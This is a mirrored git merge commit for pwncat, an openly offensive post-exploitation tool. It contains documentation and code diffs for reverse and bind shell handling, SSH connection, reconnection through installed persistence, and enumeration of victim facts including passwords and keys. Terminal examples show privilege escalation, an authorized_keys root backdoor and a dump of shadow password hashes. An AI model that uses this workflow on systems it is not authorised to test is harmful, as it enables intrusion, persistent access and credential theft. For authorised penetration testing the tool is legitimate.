mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Merge branch 'master' of https://github.com/calebstewart/pwncat
This commit is contained in:
commit
305316f20a
@ -102,3 +102,35 @@ to connect with. If only one of ``--method`` or ``--user`` is specified, all met
|
||||
For example, specifying only ``method`` will cause ``pwncat`` to attempt each user for which that method is installed.
|
||||
On the other hand, specifying only ``--user`` will cause ``pwncat`` to attempt connection with every method which
|
||||
offers persistence as that user. When both are specified, only the exact matching persistence method will be attempted.
|
||||
|
||||
Automated Connection w/ Configuration Script
|
||||
--------------------------------------------
|
||||
|
||||
Configuration scripts are expected to be used on an engagement basis. If you have made a connection to victim and have
|
||||
installed persistence methods, you can add your connect command to your configuration script in order to simply
|
||||
connection in the future. For example, if you have made a previous connection to the host ``1.1.1.1`` and would like
|
||||
``pwncat`` to automatically reconnect to that host on startup, you could create a configuration script:
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: pwncatrc - configuration script
|
||||
|
||||
# Ensure pwncat knows about your database
|
||||
set db "sqlite:///engagement.sqlite"
|
||||
|
||||
# Automatically attempt reconnection to your host via authorized_keys
|
||||
# as the root user
|
||||
connect --reconnnect --host 1.1.1.1 -m authorized_keys -u root
|
||||
|
||||
With this script, ``pwncat`` will attempt to connect to the specified host without any other parameters. This simplifies
|
||||
the ``pwncat`` command if you intend to connect/reconnect multiple times.
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Simplified Reconnection w/ Configuration Script
|
||||
|
||||
$ pwncat -C data/pwncatrc
|
||||
[+] setting terminal prompt
|
||||
[+] running in /usr/bin/bash
|
||||
[+] terminal state synchronized
|
||||
[+] pwncat is ready 🐈
|
||||
|
||||
(remote) root@pwncat-centos-testing:~#
|
||||
|
@ -33,116 +33,138 @@ press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k
|
||||
can be connected with any arbitrary script or local command and can be defined in the configuration file
|
||||
or with the ``bind`` command.
|
||||
|
||||
Connecting to a remote host
|
||||
---------------------------
|
||||
Command Line Interface and Start-up Sequence
|
||||
--------------------------------------------
|
||||
|
||||
To connect to a remote host, the ``connect`` command is used. This command is capable of connecting
|
||||
to a remote host over a raw socket, SSH or view a previously installed persistence mechanism. It
|
||||
is also able to listen for reverse connections and initiate a session upon connection.
|
||||
The ``pwncat`` module installs a main script of the same name as an entry point to ``pwncat``. The
|
||||
command line parameters to this command are the same as that of the ``connect`` command. During startup,
|
||||
``pwncat`` will initialize an unconnected ``pwncat.victim`` object. It will then pass all arguments to
|
||||
the entrypoint on to the ``connect`` command. This command is capable of loading and executing a
|
||||
configuration script as well as connecting via various methods to a remote victim.
|
||||
|
||||
When running ``pwncat``, all program arguments with the exception of the ``--config/-c`` and the
|
||||
``--help`` arguments are interpreted as local commands which will be executed after the configuration
|
||||
file is loaded.
|
||||
If a connection is not established during this initial connect command (for example, if the victim
|
||||
cannot be contacted or the ``--help`` parameter was specified), ``pwncat`` will then exit. If a
|
||||
connection *is* established, ``pwncat`` will enter the main Raw mode loop and provide you with
|
||||
a shell. At the time of writing, the available ``pwncat`` arguments are:
|
||||
|
||||
Connecting can happen in your configuration file, from the command identified at command execution
|
||||
or after startup. If no connection is made from the configuration file or from your command line
|
||||
arguments, you will be placed in a local ``pwncat`` command prompt. This is a restricted prompt
|
||||
only allowing local commands to be run. From here, you can start a listener or connect to a remote
|
||||
host with the ``connect`` command.
|
||||
.. code-block::
|
||||
:caption: pwncat argument help
|
||||
|
||||
Here's an example of connecting to a remote bind shell on the host "test-host" on port 4444 immediately
|
||||
on invocation of ``pwncat``:
|
||||
usage: pwncat [-h] [--exit] [--config CONFIG] [--listen] [--connect] [--ssh]
|
||||
[--reconnect] [--list] [--host HOST] [--port PORT] [--method METHOD]
|
||||
[--user USER] [--password PASSWORD] [--identity IDENTITY]
|
||||
|
||||
Connect to a remote host via SSH, bind/reverse shells or previous persistence methods
|
||||
installed during past sessions.
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
--exit Exit if not connection is made
|
||||
--config CONFIG, -C CONFIG
|
||||
Path to a configuration script to execute prior to connecting
|
||||
--listen, -l Listen for an incoming reverse shell
|
||||
--connect, -c Connect to a remote bind shell
|
||||
--ssh, -s Connect to a remote ssh server
|
||||
--reconnect, -r Reconnect to the given host via a persistence method
|
||||
--list List remote hosts with persistence methods installed
|
||||
--host HOST, -H HOST Address to listen on or remote host to connect to. For
|
||||
reconnections, this can be a host hash
|
||||
--port PORT, -p PORT The port to listen on or connect to
|
||||
--method METHOD, -m METHOD
|
||||
The method to user for reconnection
|
||||
--user USER, -u USER The user to reconnect as; if this is a system method, this
|
||||
parameter is ignored.
|
||||
--password PASSWORD, -P PASSWORD
|
||||
The password for the specified user for SSH connections
|
||||
--identity IDENTITY, -i IDENTITY
|
||||
The private key for authentication for SSH connections
|
||||
|
||||
|
||||
Connection Methods
|
||||
------------------
|
||||
|
||||
``pwncat`` is able to connect to a remote host in a few different ways. At it's core, ``pwncat`` communicates
|
||||
with a remote shell over a raw socket. This can be either a bind shell or a reverse shell from a remote victim
|
||||
host. ``pwncat`` also offerst the ability to connect to a remote victim over SSH with a known password or
|
||||
private key. When connecting via SSH, ``pwncat`` provides the same interface and capabilities as with a
|
||||
raw bind or reverse shell.
|
||||
|
||||
The last connection method relies on a previous ``pwncat`` session with the victim. If you install a persistence
|
||||
method which support remote reconnection, ``pwncat`` can utilize this to initiate a new remote shell with the victim
|
||||
automatically. For example, if you installed authorized keys for a specific user, ``pwncat`` can utilize these to
|
||||
initiate another SSH session using your persistence. This allows you to easily reconnect in the event of a previous
|
||||
session being disconnected.
|
||||
|
||||
Fully documentation on the methods and options for these connection methods can be found in the ``connect``
|
||||
documentation under the Command Index. A few examples of connections can be found below.
|
||||
|
||||
Connecting to a victim bind shell
|
||||
---------------------------------
|
||||
|
||||
In this case, the victim is running a raw bind shell on an open port. The victim must be available at an
|
||||
address which is routable (e.g. not NAT'd). The ``--connect/-c`` mode provides this capability.
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Connecting to a bind shell at 1.1.1.1:4444
|
||||
|
||||
pwncat connect --connect -H test-host -p 4444
|
||||
pwncat --connect -H 1.1.1.1 -p 4444
|
||||
|
||||
Similarly, listening for a reverse shell connection can be similarly accomplished:
|
||||
Catching a victim reverse shell
|
||||
-------------------------------
|
||||
|
||||
In this case, the victim was exploited in such a way that they open a connection to your attacking host
|
||||
on a specific port with a raw shell open on the other end. Your attacking host must be routable from the
|
||||
victim machine. This mode is accessed via the ``--listen/-l`` option for connect.
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Catching a reverse shell
|
||||
|
||||
pwncat connect --listen -H 0.0.0.0 -p 4444
|
||||
pwncat --listen -p 4444
|
||||
|
||||
As mentioned above, if no connections are made during initialization, you will be taken to a local
|
||||
``pwncat`` prompt where you can then execute the ``connect`` command manually:
|
||||
Connecting to a Remote SSH Server
|
||||
---------------------------------
|
||||
|
||||
If you were able to obtain a valid password or private key for a remote user, you can initiate a ``pwncat``
|
||||
session with the remote host over SSH. This mode is accessed via the ``--ssh/-s`` option for connect.
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Connection to a remote SSH server w/ Password Auth
|
||||
|
||||
$ pwncat
|
||||
[?] no connection established, entering command mode
|
||||
|
||||
[+] local terminal restored
|
||||
(local) pwncat$ connect -c -H test-host -p 4444
|
||||
[+] connection to A.B.C.D:4444 established
|
||||
[+] setting terminal prompt
|
||||
[+] running in /bin/bash
|
||||
[+] terminal state synchronized
|
||||
[+] pwncat is ready 🐈
|
||||
|
||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/home/debian$
|
||||
|
||||
The last method of connecting is via your configuration file. You can place the ``connect`` command
|
||||
there in order to not require any arguments. More powerfully, you can place your **reconnect**
|
||||
command in your configuration file, which will fail the first time you connect to the remote host.
|
||||
After installing persistence, reconnection will utilize your persistence to gain a shell and you
|
||||
will no longer need command line parameters.
|
||||
pwncat -s -H 1.1.1.1 -u root -p "r00t5P@ssw0rd"
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Connection to a remote SSH server w/ Public Key Auth
|
||||
|
||||
# your pwncat configuration script
|
||||
set db "sqlite:///pwncat.sqlite"
|
||||
connect --reconnect -H test-host
|
||||
pwncat -s -H 1.1.1.1 -u root -i ./root-private-key
|
||||
|
||||
Reconnecting to a victim
|
||||
------------------------
|
||||
|
||||
If you previously had a ``pwncat`` session with a remote host and installed a persistence mechanism, you may
|
||||
be able to leverage ``pwncat`` to automatically reconnect to the victim host utilizing your persistence
|
||||
machanism. For this to work, you must specify a configuration file which provides a database for ``pwncat``
|
||||
to use. With a configuration file specified, you can use the ``--list`` argument to list known hosts and
|
||||
their associated persistence methods.
|
||||
|
||||
.. code-block:: bash
|
||||
:caption: Listing known host/persistence combinations
|
||||
|
||||
# Connect to test-host via reverse shell the first time
|
||||
$ pwncat -c pwncatrc connect -l -H 0.0.0. -p 4444
|
||||
[!] d87b9646813d250ac433decdee70112a: connection failed: no working persistence methods found
|
||||
[+] connection to A.B.C.D:4444 established
|
||||
[+] setting terminal prompt
|
||||
[+] running in /bin/bash
|
||||
[+] terminal state synchronized
|
||||
[+] pwncat is ready 🐈
|
||||
pwncat -C data/pwncatrc --list
|
||||
1.1.1.1 - "centos" - 999c434fe6bd7383f1a6cc10f877644d
|
||||
- authorized_keys as root
|
||||
|
||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
||||
[+] local terminal restored
|
||||
(local) pwncat$ privesc -e
|
||||
[+] privilege escalation succeeded using:
|
||||
⮡ shell as root via /bin/bash (sudo NOPASSWD)
|
||||
[+] pwncat is ready 🐈
|
||||
Each host is identified by a host hash as seen above. You can reconnect to a host by either specifying a host
|
||||
hash or an IP address. If multiple hosts share the same IP address, the first in the database will be selected
|
||||
if you specify an IP address. Host hashes are unique across hosts.
|
||||
|
||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
||||
[+] local terminal restored
|
||||
(local) pwncat$ persist -i -m authorized_keys -u root
|
||||
(local) pwncat$ persist --status
|
||||
- authorized_keys as root (local) installed
|
||||
(local) pwncat$
|
||||
[+] pwncat is ready 🐈
|
||||
.. code-block:: bash
|
||||
:caption: Reconnecting to a known host
|
||||
|
||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
||||
# Reconnect w/ host hash
|
||||
pwncat -C data/pwncatrc --reconnect -H 999c434fe6bd7383f1a6cc10f877644d
|
||||
# Reconnect to first host w/ matching IP
|
||||
pwncat -C data/pwncatrc --reconnect -H 1.1.1.1
|
||||
|
||||
exit
|
||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
||||
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
||||
Other options are available to specify methods or users to reconnect with. These options are covered in more detail
|
||||
in the ``connect`` documentation under the Command Index.
|
||||
|
||||
exit
|
||||
|
||||
[+] local terminal restored
|
||||
|
||||
$ pwncat -c data/pwncatrc
|
||||
[+] setting terminal prompt
|
||||
[+] running in /bin/bash
|
||||
[+] terminal state synchronized
|
||||
[+] pwncat is ready 🐈
|
||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
||||
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
||||
[+] local terminal restored
|
||||
(local) pwncat$ hashdump
|
||||
root:$6$jmqmNYe9$8GJjU.tV5XWfyFMclJXd0f7TOCEuHbvU9ajD8ZeaVd7y7GGXcb7BfNVV6rR/S6AcmI0W.yzHiXId0EZsYgnQx1
|
||||
debian:$6$c5h8DDIk$2bxaEK8C.wCkTwY.z/Z4c48RwdLRL5AE5J6qvPPHCz2vPb2dEeIbwtxkTHHbvTcnh1S/J0e2gPxUiRgT9SiXN/
|
||||
(local) pwncat$
|
||||
|
||||
The first time ``pwncat`` was run, the reconnection command failed. This was expected, since we
|
||||
had not connected to the remote host yet. After we escalated privileges, and installed persistence,
|
||||
we were able to re-run ``pwncat`` with no arguments and get a shell. In this case, ``pwncat``
|
||||
utilized our installed ssh authorized keys backdoor to gain a session as the root user.
|
@ -105,6 +105,9 @@ class Command(CommandDefinition):
|
||||
removed.append(binary)
|
||||
pwncat.victim.session.delete(binary)
|
||||
|
||||
# This ensures the pwncat.victim.host.binaries array
|
||||
# is correct and doesn't contain entries which were
|
||||
# deleted prior to an auto-commit.
|
||||
pwncat.victim.session.commit()
|
||||
pwncat.victim.host = (
|
||||
pwncat.victim.session.query(pwncat.db.Host)
|
||||
|
@ -24,9 +24,6 @@ class Command(CommandDefinition):
|
||||
|
||||
PROG = "connect"
|
||||
ARGS = {
|
||||
"--exit": parameter(
|
||||
Complete.NONE, action="store_true", help="Exit if not connection is made"
|
||||
),
|
||||
"--config,-C": parameter(
|
||||
Complete.NONE,
|
||||
help="Path to a configuration script to execute prior to connecting",
|
||||
@ -120,145 +117,134 @@ class Command(CommandDefinition):
|
||||
self.parser.error(str(exc))
|
||||
|
||||
if args.action == "none":
|
||||
# No action was provided, and no connection was made in the config
|
||||
if pwncat.victim.client is None:
|
||||
self.parser.print_help()
|
||||
return
|
||||
|
||||
try:
|
||||
if args.action == "listen":
|
||||
if not args.host:
|
||||
args.host = "0.0.0.0"
|
||||
if args.action == "listen":
|
||||
if not args.host:
|
||||
args.host = "0.0.0.0"
|
||||
|
||||
util.progress(f"binding to {args.host}:{args.port}")
|
||||
util.progress(f"binding to {args.host}:{args.port}")
|
||||
|
||||
# Create the socket server
|
||||
server = socket.create_server((args.host, args.port), reuse_port=True)
|
||||
# Create the socket server
|
||||
server = socket.create_server((args.host, args.port), reuse_port=True)
|
||||
|
||||
try:
|
||||
# Wait for a connection
|
||||
(client, address) = server.accept()
|
||||
except KeyboardInterrupt:
|
||||
util.warn(f"aborting listener...")
|
||||
return
|
||||
|
||||
util.success(f"received connection from {address[0]}:{address[1]}")
|
||||
pwncat.victim.connect(client)
|
||||
elif args.action == "connect":
|
||||
if not args.host:
|
||||
self.parser.error("host address is required for outbound connections")
|
||||
|
||||
util.progress(f"connecting to {args.host}:{args.port}")
|
||||
|
||||
# Connect to the remote host
|
||||
client = socket.create_connection((args.host, args.port))
|
||||
|
||||
util.success(f"connection to {args.host}:{args.port} established")
|
||||
pwncat.victim.connect(client)
|
||||
elif args.action == "ssh":
|
||||
|
||||
if not args.port:
|
||||
args.port = 22
|
||||
|
||||
if not args.user:
|
||||
self.parser.error("you must specify a user")
|
||||
|
||||
if not args.password and not args.identity:
|
||||
self.parser.error("either a password or identity file is required")
|
||||
|
||||
try:
|
||||
# Connect to the remote host's ssh server
|
||||
sock = socket.create_connection((args.host, args.port))
|
||||
except Exception as exc:
|
||||
util.error(str(exc))
|
||||
return
|
||||
|
||||
# Create a paramiko SSH transport layer around the socket
|
||||
t = paramiko.Transport(sock)
|
||||
try:
|
||||
t.start_client()
|
||||
except paramiko.SSHException:
|
||||
sock.close()
|
||||
util.error("ssh negotiation failed")
|
||||
return
|
||||
|
||||
if args.identity:
|
||||
try:
|
||||
# Wait for a connection
|
||||
(client, address) = server.accept()
|
||||
except KeyboardInterrupt:
|
||||
util.warn(f"aborting listener...")
|
||||
return
|
||||
|
||||
util.success(f"received connection from {address[0]}:{address[1]}")
|
||||
pwncat.victim.connect(client)
|
||||
elif args.action == "connect":
|
||||
if not args.host:
|
||||
self.parser.error(
|
||||
"host address is required for outbound connections"
|
||||
)
|
||||
|
||||
util.progress(f"connecting to {args.host}:{args.port}")
|
||||
|
||||
# Connect to the remote host
|
||||
client = socket.create_connection((args.host, args.port))
|
||||
|
||||
util.success(f"connection to {args.host}:{args.port} established")
|
||||
pwncat.victim.connect(client)
|
||||
elif args.action == "ssh":
|
||||
|
||||
if not args.port:
|
||||
args.port = 22
|
||||
|
||||
if not args.user:
|
||||
self.parser.error("you must specify a user")
|
||||
|
||||
if not args.password and not args.identity:
|
||||
self.parser.error("either a password or identity file is required")
|
||||
# Load the private key for the user
|
||||
key = paramiko.RSAKey.from_private_key_file(args.identity)
|
||||
except:
|
||||
password = prompt("RSA Private Key Passphrase: ", is_password=True)
|
||||
key = paramiko.RSAKey.from_private_key_file(args.identity, password)
|
||||
|
||||
# Attempt authentication
|
||||
try:
|
||||
# Connect to the remote host's ssh server
|
||||
sock = socket.create_connection((args.host, args.port))
|
||||
except Exception as exc:
|
||||
util.error(str(exc))
|
||||
return
|
||||
|
||||
# Create a paramiko SSH transport layer around the socket
|
||||
t = paramiko.Transport(sock)
|
||||
try:
|
||||
t.start_client()
|
||||
except paramiko.SSHException:
|
||||
sock.close()
|
||||
util.error("ssh negotiation failed")
|
||||
return
|
||||
|
||||
if args.identity:
|
||||
try:
|
||||
# Load the private key for the user
|
||||
key = paramiko.RSAKey.from_private_key_file(args.identity)
|
||||
except:
|
||||
password = prompt(
|
||||
"RSA Private Key Passphrase: ", is_password=True
|
||||
)
|
||||
key = paramiko.RSAKey.from_private_key_file(
|
||||
args.identity, password
|
||||
)
|
||||
|
||||
# Attempt authentication
|
||||
try:
|
||||
t.auth_publickey(args.user, key)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
else:
|
||||
try:
|
||||
t.auth_password(args.user, args.password)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
|
||||
if not t.is_authenticated():
|
||||
t.close()
|
||||
sock.close()
|
||||
return
|
||||
|
||||
# Open an interactive session
|
||||
chan = t.open_session()
|
||||
chan.get_pty()
|
||||
chan.invoke_shell()
|
||||
|
||||
# Initialize the session!
|
||||
pwncat.victim.connect(chan)
|
||||
elif args.action == "reconnect":
|
||||
if not args.host:
|
||||
self.parser.error(
|
||||
"host address or hash is required for reconnection"
|
||||
)
|
||||
|
||||
try:
|
||||
addr = ipaddress.ip_address(args.host)
|
||||
util.progress(f"enumerating persistence methods for {addr}")
|
||||
host = (
|
||||
pwncat.victim.session.query(pwncat.db.Host)
|
||||
.filter_by(ip=str(addr))
|
||||
.first()
|
||||
)
|
||||
if host is None:
|
||||
util.error(f"{args.host}: not found in database")
|
||||
return
|
||||
host_hash = host.hash
|
||||
except ValueError:
|
||||
host_hash = args.host
|
||||
|
||||
# Reconnect to the given host
|
||||
try:
|
||||
pwncat.victim.reconnect(host_hash, args.method, args.user)
|
||||
except PersistenceError as exc:
|
||||
util.error(f"{args.host}: connection failed")
|
||||
return
|
||||
elif args.action == "list":
|
||||
if pwncat.victim.session is not None:
|
||||
for host in pwncat.victim.session.query(pwncat.db.Host):
|
||||
if len(host.persistence) == 0:
|
||||
continue
|
||||
print(
|
||||
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
|
||||
)
|
||||
for p in host.persistence:
|
||||
print(
|
||||
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
|
||||
)
|
||||
t.auth_publickey(args.user, key)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
else:
|
||||
util.error(f"{args.action}: invalid action")
|
||||
finally:
|
||||
if pwncat.victim.client is None and args.exit:
|
||||
raise SystemExit
|
||||
try:
|
||||
t.auth_password(args.user, args.password)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
|
||||
if not t.is_authenticated():
|
||||
t.close()
|
||||
sock.close()
|
||||
return
|
||||
|
||||
# Open an interactive session
|
||||
chan = t.open_session()
|
||||
chan.get_pty()
|
||||
chan.invoke_shell()
|
||||
|
||||
# Initialize the session!
|
||||
pwncat.victim.connect(chan)
|
||||
elif args.action == "reconnect":
|
||||
if not args.host:
|
||||
self.parser.error("host address or hash is required for reconnection")
|
||||
|
||||
try:
|
||||
addr = ipaddress.ip_address(args.host)
|
||||
util.progress(f"enumerating persistence methods for {addr}")
|
||||
host = (
|
||||
pwncat.victim.session.query(pwncat.db.Host)
|
||||
.filter_by(ip=str(addr))
|
||||
.first()
|
||||
)
|
||||
if host is None:
|
||||
util.error(f"{args.host}: not found in database")
|
||||
return
|
||||
host_hash = host.hash
|
||||
except ValueError:
|
||||
host_hash = args.host
|
||||
|
||||
# Reconnect to the given host
|
||||
try:
|
||||
pwncat.victim.reconnect(host_hash, args.method, args.user)
|
||||
except PersistenceError as exc:
|
||||
util.error(f"{args.host}: connection failed")
|
||||
return
|
||||
elif args.action == "list":
|
||||
if pwncat.victim.session is not None:
|
||||
for host in pwncat.victim.session.query(pwncat.db.Host):
|
||||
if len(host.persistence) == 0:
|
||||
continue
|
||||
print(
|
||||
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
|
||||
)
|
||||
for p in host.persistence:
|
||||
print(
|
||||
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
|
||||
)
|
||||
else:
|
||||
util.error(f"{args.action}: invalid action")
|
||||
|
93
pwncat/commands/enumerate.py
Normal file
93
pwncat/commands/enumerate.py
Normal file
@ -0,0 +1,93 @@
|
||||
#!/usr/bin/env python3
|
||||
from colorama import Fore, Style
|
||||
|
||||
import pwncat
|
||||
from pwncat.commands.base import (
|
||||
CommandDefinition,
|
||||
Complete,
|
||||
parameter,
|
||||
StoreConstOnce,
|
||||
StoreForAction,
|
||||
)
|
||||
|
||||
|
||||
class Command(CommandDefinition):
|
||||
"""
|
||||
Interface with the underlying enumeration module. This provides methods
|
||||
for enumerating, viewing and clearing cached facts about the victim.
|
||||
Types of enumeration data include the following options:
|
||||
|
||||
* all - all known enumeration techniques
|
||||
* common - common useful information
|
||||
* suid - Set UID binaries on the remote host
|
||||
* passwords - Known passwords for remote users
|
||||
* keys - Known private keys found on the remote host
|
||||
|
||||
Other enumeration data may be available which was dynamically registered by
|
||||
other ``pwncat`` modules.
|
||||
|
||||
"""
|
||||
|
||||
PROG = "enum"
|
||||
ARGS = {
|
||||
"--show,-s": parameter(
|
||||
Complete.NONE,
|
||||
action=StoreConstOnce,
|
||||
nargs=0,
|
||||
dest="action",
|
||||
const="show",
|
||||
help="Find and display all facts of the given type",
|
||||
),
|
||||
"--no-enumerate,-n": parameter(
|
||||
Complete.NONE,
|
||||
action="store_true",
|
||||
help="Do not perform actual enumeration; only print already enumerated values",
|
||||
),
|
||||
"--type,-t": parameter(
|
||||
Complete.NONE, help="The type of enumeration data to query"
|
||||
),
|
||||
"--flush,-f": parameter(
|
||||
Complete.NONE,
|
||||
action=StoreConstOnce,
|
||||
nargs=0,
|
||||
dest="action",
|
||||
const="flush",
|
||||
help="Flush the queried enumeration data from the database",
|
||||
),
|
||||
"--provider,-p": parameter(
|
||||
Complete.NONE, help="The enumeration provider to filter by"
|
||||
),
|
||||
}
|
||||
DEFAULTS = {"action": "help"}
|
||||
|
||||
def run(self, args):
|
||||
|
||||
# no arguments prints help
|
||||
if args.action == "help":
|
||||
self.parser.print_help()
|
||||
return
|
||||
|
||||
if not args.type:
|
||||
args.type = "all"
|
||||
|
||||
if args.action == "show":
|
||||
self.show_facts(args.type, args.provider)
|
||||
elif args.action == "flush":
|
||||
self.flush_facts(args.type, args.provider)
|
||||
|
||||
def show_facts(self, typ: str, provider: str):
|
||||
""" Display known facts matching the criteria """
|
||||
|
||||
if typ is not None:
|
||||
print(f"{Fore.YELLOW}{Style.BRIGHT}{typ.upper()} Facts{Style.RESET_ALL}")
|
||||
for fact in pwncat.victim.enumerate:
|
||||
if fact.type != typ:
|
||||
continue
|
||||
if provider is not None and fact.source != provider:
|
||||
continue
|
||||
print(f" {fact.data} from {fact.source}")
|
||||
|
||||
def flush_facts(self, typ: str, provider: str):
|
||||
""" Flush all facts that match criteria """
|
||||
|
||||
pwncat.victim.enumerate.flush(typ, provider)
|
@ -8,3 +8,4 @@ from pwncat.db.persist import Persistence
|
||||
from pwncat.db.suid import SUID
|
||||
from pwncat.db.tamper import Tamper
|
||||
from pwncat.db.user import User, Group, SecondaryGroupAssociation
|
||||
from pwncat.db.fact import Fact
|
||||
|
21
pwncat/db/fact.py
Normal file
21
pwncat/db/fact.py
Normal file
@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python3
|
||||
from sqlalchemy import Column, Integer, ForeignKey, PickleType, UniqueConstraint, String
|
||||
from sqlalchemy.orm import relationship
|
||||
|
||||
from pwncat.db.base import Base
|
||||
|
||||
|
||||
class Fact(Base):
|
||||
""" Store enumerated facts. The pwncat.enumerate.Fact objects are pickled and
|
||||
stored in the "data" column. The enumerator is arbitrary, but allows for
|
||||
organizations based on the source enumerator. """
|
||||
|
||||
__tablename__ = "facts"
|
||||
|
||||
id = Column(Integer, primary_key=True)
|
||||
host_id = Column(Integer, ForeignKey("host.id"))
|
||||
host = relationship("Host", back_populates="facts")
|
||||
type = Column(String)
|
||||
source = Column(String)
|
||||
data = Column(PickleType)
|
||||
__table_args__ = (UniqueConstraint("type", "data", name="_type_data_uc"),)
|
@ -44,3 +44,5 @@ class Host(Base):
|
||||
# A list of SUID binaries found across all users (may have overlap, and may not be
|
||||
# accessible by the current user).
|
||||
suid = relationship("SUID")
|
||||
# List of enumerated facts about the remote victim
|
||||
facts = relationship("Fact")
|
||||
|
141
pwncat/enumerate/__init__.py
Normal file
141
pwncat/enumerate/__init__.py
Normal file
@ -0,0 +1,141 @@
|
||||
#!/usr/bin/env python3
|
||||
import pkgutil
|
||||
from typing import Generator, Callable, Any
|
||||
|
||||
import pwncat
|
||||
|
||||
|
||||
class Fact:
|
||||
"""
|
||||
I don't know how to generically represent this yet...
|
||||
"""
|
||||
|
||||
|
||||
class Enumerate:
|
||||
""" Abstract fact enumeration class for the victim. This abstracts
|
||||
the process of enumerating different facts from the remote victim.
|
||||
Facts are identified by their type which is a string. For example,
|
||||
an enumerator may provide the "suid" type which enumerates SUID
|
||||
binaries. There may be multiple enumerators which provide the same
|
||||
type of facts.
|
||||
|
||||
Enumerators are created by creating a module under pwncat/enumerate
|
||||
which must implement the following:
|
||||
|
||||
* `provides` - a string which indicates the type of facts which this
|
||||
enumerator provides
|
||||
* `name` - a string which is a unique name for this enumerator
|
||||
* `enumerate` - a method which returns a generator yielding all known
|
||||
new facts for this enumerator.
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
|
||||
self.enumerators = {}
|
||||
for loader, module_name, is_pkg in pkgutil.walk_packages(__path__):
|
||||
enumerator = loader.find_module(module_name).load_module(module_name)
|
||||
if enumerator.provides not in self.enumerators:
|
||||
self.enumerators[enumerator.provides] = []
|
||||
self.enumerators[enumerator.provides].append(enumerator)
|
||||
|
||||
def iter(
|
||||
self, typ: str, filter: Callable[[Fact], bool] = None, only_cached=False
|
||||
) -> Generator[pwncat.db.Fact, None, None]:
|
||||
"""
|
||||
Iterate over facts of the given type. The optional filter argument provides a
|
||||
way to filter facts based on a lambda function.
|
||||
|
||||
:param typ: the type of facts to return
|
||||
:param filter: a callable which takes a Fact and returns a boolean indicating
|
||||
whether to yield this fact.
|
||||
:return: Generator[Fact, None, None]
|
||||
"""
|
||||
|
||||
# Yield all known facts
|
||||
for fact in pwncat.victim.host.facts:
|
||||
if fact.data is None:
|
||||
continue
|
||||
if fact.type == typ:
|
||||
if filter is not None and not filter(fact):
|
||||
continue
|
||||
yield fact
|
||||
|
||||
# If we know of enumerators for this type of fact, we check with them for
|
||||
# any new matching facts.
|
||||
if not only_cached and typ in self.enumerators:
|
||||
for enumerator in self.enumerators[typ]:
|
||||
for data in enumerator.enumerate():
|
||||
fact = self.add_fact(typ, data, enumerator.name)
|
||||
if fact.data is None:
|
||||
continue
|
||||
if filter is not None and not filter(fact):
|
||||
continue
|
||||
yield fact
|
||||
|
||||
def __iter__(self):
|
||||
"""
|
||||
Iterate over all facts, regardless of the type.
|
||||
|
||||
:return:
|
||||
"""
|
||||
yield from pwncat.victim.host.facts
|
||||
|
||||
def add_fact(self, typ: str, data: Any, source: str) -> pwncat.db.Fact:
|
||||
"""
|
||||
Register a fact with the fact database. This does not have to come from
|
||||
an enumerator. It likely didn't. This will be registered in the database
|
||||
and returned from `iter` after this.
|
||||
|
||||
:param source: a printable description of what generated this fact
|
||||
:param typ: the type of fact
|
||||
:param data: type-specific data for this fact. this must be pickle-able
|
||||
"""
|
||||
row = pwncat.db.Fact(
|
||||
host_id=pwncat.victim.host.id, type=typ, data=data, source=source,
|
||||
)
|
||||
pwncat.victim.host.facts.append(row)
|
||||
pwncat.victim.session.add(row)
|
||||
pwncat.victim.session.commit()
|
||||
|
||||
return row
|
||||
|
||||
def flush(self, typ: str = None, provider: str = None):
|
||||
"""
|
||||
Flush all facts provided by the given provider.
|
||||
|
||||
:param provider:
|
||||
:return:
|
||||
"""
|
||||
|
||||
# Delete all matching facts
|
||||
for fact in pwncat.victim.host.facts:
|
||||
if typ is not None and fact.type != typ:
|
||||
continue
|
||||
if provider is not None and fact.source != provider:
|
||||
continue
|
||||
pwncat.victim.session.delete(fact)
|
||||
|
||||
# Reload the host object
|
||||
pwncat.victim.session.commit()
|
||||
pwncat.victim.host = (
|
||||
pwncat.victim.session.query(pwncat.db.Host)
|
||||
.filter_by(id=pwncat.victim.host.id)
|
||||
.first()
|
||||
)
|
||||
|
||||
def exist(self, typ: str, provider: str = None) -> bool:
|
||||
"""
|
||||
Test whether any facts with the given type exist in the database.
|
||||
|
||||
:param typ: the type of facts to look for
|
||||
:return: boolean, whether any facts exist for this type
|
||||
"""
|
||||
|
||||
